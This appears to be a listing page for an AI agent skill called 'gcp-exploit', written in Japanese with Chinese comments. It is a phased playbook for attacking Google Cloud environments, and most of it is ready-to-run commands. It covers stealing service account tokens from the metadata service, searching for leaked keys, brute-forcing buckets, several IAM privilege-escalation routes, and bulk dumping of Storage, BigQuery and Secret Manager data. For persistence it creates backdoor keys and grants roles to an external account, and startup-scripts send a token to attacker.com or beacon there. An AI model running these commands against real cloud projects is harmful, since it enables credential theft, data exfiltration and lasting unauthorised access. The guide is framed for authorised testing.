gcp-exploit について
クラウドセキュリティテスター向けのGCP環境攻撃ガイドです。認証情報の発見、IAM権限昇格、データアクセス、永続化の手順例を扱います。
主な機能
- 01Metadataサービスとサービスアカウント認証情報の確認
- 02公開Cloud Storageバケットの列挙
- 03IAM権限昇格経路の整理
- 04StorageとBigQueryへのアクセス例
- 05サービスアカウントキーによる永続化の説明
活用シーン
- 01許可された評価でGCP認証情報の露出を確認
- 02サービスアカウント権限と昇格経路を分析
- 03BucketとBigQueryのデータアクセスを監査
- 04クラウド環境の永続化リスクを評価
インストール
コマンドをコピーしてターミナルで実行します。
$
npx skills add https:/ / github.com/ wgpsec/ aboutsecurity --skill gcp-exploitインストール後、Claude Code で/gcp-exploitを入力して読み込まれたか確認します。
同梱ファイルreferences/gcp-iam-privesc.mdreferences/gke-attack.md
詳細
GCP クラウド環境の攻撃手法
AWS との違い:GCP の IAM 継承モデルと Service Account の鍵の仕組みにより、独自の攻撃経路が生じます。
⛔ 詳細な参考資料
- GCP IAM の権限昇格経路の詳細 → references/gcp-iam-privesc.md
- GKE の攻撃とエスケープ → references/gke-attack.md
Phase 1:初期アクセスと情報収集
1.1 Metadata サービスの悪用(SSRF → GCP 認証情報)
# GCP Metadata 端点(需要 Metadata-Flavor header,但不需要 AWS IMDSv2 式 token)
curl -H "Metadata-Flavor: Google" \
http://metadata.google.internal/computeMetadata/v1/
# 获取 Service Account Token
curl -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"
# 获取项目信息
curl -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/project/project-id"
# 获取实例属性(可能含敏感配置)
curl -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true"
# SSH 密钥(如果在 metadata 中配置)
curl -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/project/attributes/ssh-keys"
1.2 Service Account の鍵の発見
# 搜索泄露的 SA 密钥(JSON 格式)
grep -r "private_key_id" /path/to/code/
find / -name "*.json" -exec grep -l "client_email.*iam.gserviceaccount.com" {} \;
# 常见位置
# ~/.config/gcloud/
# /root/.config/gcloud/application_default_credentials.json
# 环境变量: GOOGLE_APPLICATION_CREDENTIALS
# Kubernetes Secrets: /var/run/secrets/...
# GitHub/GitLab 泄露
1.3 Bucket の列挙
# 公开 Bucket 探测
# GCP Bucket URL 格式:
# https://storage.googleapis.com/BUCKET_NAME
# gs://BUCKET_NAME
# 常见命名模式探测
for prefix in target target-prod target-dev target-backup target-assets; do
status=$(curl -s -o /dev/null -w "%{http_code}" "https://storage.googleapis.com/$prefix")
echo "$prefix: $status"
done
# 使用 GCPBucketBrute
python3 gcpbucketbrute.py -k target -o results.txt
Phase 2:認証と権限の確認
# 使用窃取的 SA 密钥认证
gcloud auth activate-service-account --key-file=stolen-key.json
# 或使用 access token
gcloud config set auth/access_token_file /tmp/token.txt
# 确认身份
gcloud auth list
gcloud config get-value project
# 枚举权限
# 列出当前 SA 的 IAM 角色
gcloud projects get-iam-policy $(gcloud config get-value project) \
--flatten="bindings[].members" \
--filter="bindings.members:$(gcloud config get-value account)"
# 测试具体权限
gcloud asset search-all-iam-policies --query="policy:roles/owner"
Phase 3:IAM 権限昇格
3.1 よくある権限昇格経路
GCP IAM 提权路径:
├─ iam.serviceAccountKeys.create → 给高权限 SA 创建新密钥
├─ iam.serviceAccounts.getAccessToken → 直接获取其他 SA 的 token
├─ iam.serviceAccounts.implicitDelegation → 链式委托
├─ iam.serviceAccounts.signBlob → 签署 JWT 冒充其他 SA
├─ iam.serviceAccounts.signJwt → 直接签署 JWT
├─ deploymentmanager.deployments.create → 以 DM SA 身份部署资源
├─ cloudfunctions.functions.create → 创建函数以高权限 SA 执行
├─ compute.instances.create → 创建 VM 挂载高权限 SA
├─ run.services.create → 创建 Cloud Run 挂载 SA
└─ orgpolicy.policy.set → 修改组织策略
3.2 悪用例
# 1. 创建新的 SA 密钥(如果有 iam.serviceAccountKeys.create)
gcloud iam service-accounts keys create /tmp/key.json \
[email protected]
# 2. 获取其他 SA 的 Token(如果有 getAccessToken)
gcloud auth print-access-token --impersonate-service-account=target-sa@project.iam.gserviceaccount.com
# 3. 通过 Cloud Function 提权
gcloud functions deploy privesc \
--runtime python39 \
--trigger-http \
[email protected] \
--source=./malicious-function/
# 函数代码中以 high-priv SA 身份执行操作
# 4. 通过 Compute Instance 提权
gcloud compute instances create privesc-vm \
[email protected] \
--scopes=cloud-platform \
--metadata=startup-script='curl -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/service-accounts/default/token > /tmp/token; curl https://attacker.com/exfil -d @/tmp/token'
Phase 4:データアクセス
# Storage Bucket 操作
gsutil ls gs:// # 列出所有 bucket
gsutil ls -r gs://target-bucket/ # 递归列出文件
gsutil cp gs://bucket/secret.txt ./ # 下载文件
gsutil cp -r gs://bucket/ ./local-dump/ # 下载全部
# BigQuery 数据导出
bq ls # 列出 datasets
bq ls project:dataset # 列出 tables
bq query "SELECT * FROM \`project.dataset.table\` LIMIT 100"
bq extract project:dataset.table gs://bucket/export.csv
# Secret Manager
gcloud secrets list
gcloud secrets versions access latest --secret=db-password
# Firestore/Datastore
gcloud firestore export gs://bucket/firestore-dump
Phase 5:永続化
# 1. 创建新 SA 密钥(最常见)
gcloud iam service-accounts keys create backdoor.json \
[email protected]
# 2. 授予外部账户权限
gcloud projects add-iam-policy-binding PROJECT \
--member='user:[email protected]' --role='roles/editor'
# 3. 创建 Cloud Function 定时回连
# 通过 Cloud Scheduler 触发 → 定时 beacon
# 4. Compute Engine startup-script 持久化
gcloud compute instances add-metadata INSTANCE \
--metadata=startup-script='curl https://attacker.com/beacon'
ツール早見表
| ツール | 用途 |
|---|---|
| gcloud CLI | GCP 公式ツール |
| GCPBucketBrute | Bucket の列挙 |
| ScoutSuite | マルチクラウドのセキュリティ監査 |
| Prowler | GCP のセキュリティチェック |
| GCP IAM Privilege Escalation | 権限昇格チェックツール |
| Hayat | GCP 攻撃フレームワーク |
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